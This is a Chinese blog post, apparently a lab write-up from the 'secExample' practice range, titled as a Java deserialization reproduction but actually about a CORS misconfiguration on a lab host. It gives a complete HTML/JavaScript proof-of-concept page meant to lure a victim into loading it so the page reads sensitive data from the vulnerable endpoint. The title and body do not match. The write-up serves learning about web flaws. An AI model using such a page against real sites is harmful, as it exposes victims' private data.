secExample靶场之java反序列化漏洞复现

最新推荐文章于 2024-10-11 17:43:06 发布

Mr.sloane

最新推荐文章于 2024-10-11 17:43:06 发布

阅读量458

点赞数 8

分类专栏： secExample靶场文章标签： java 开发语言 web安全安全服务器

本文链接：https://blog.csdn.net/weixin_57240513/article/details/140851418

版权

secExample靶场专栏收录该内容

1 篇文章 0 订阅

订阅专栏

我是使用kali虚拟机搭建的靶场，具体搭建步骤可以看我之前的博客内容。

访问靶机地址，打开java反序列化的

点进去后是如图的页面，随便输入一信息。

可以看到敏感信息直接显示在了页面上。

访问192.168.189.141:8080/cors1，可以看到敏感信息直接显示到了页面上。

抓包查看到有cors1漏洞

将以下代码保存为一个cors.html文件，诱惑受害者点击

<html>
	<head>
		<script type="text/javascript">
			// 当前窗口加载完毕,执行cors函数
		window.onload = function cors() {
			// 初始化一个xhttp变量
			var xhttp = new XMLHttpRequest();
			xhttp.onreadystatechange = function () {
				if (this.readyState == 4 && this.status == 200) {
					document.getElementById("demo").innerHTML = alert(
					this.responseText
					);
				}
			};
			xhttp.open("GET", "http://192.168.189.141:8080/cors1", true); // 只需要修改存在cors的url即可
			xhttp.withCredentials = false;
			xhttp.send();
		};
		</script>
	</head>
<body>
		<textarea id="demo"></textarea>
</body>
</html>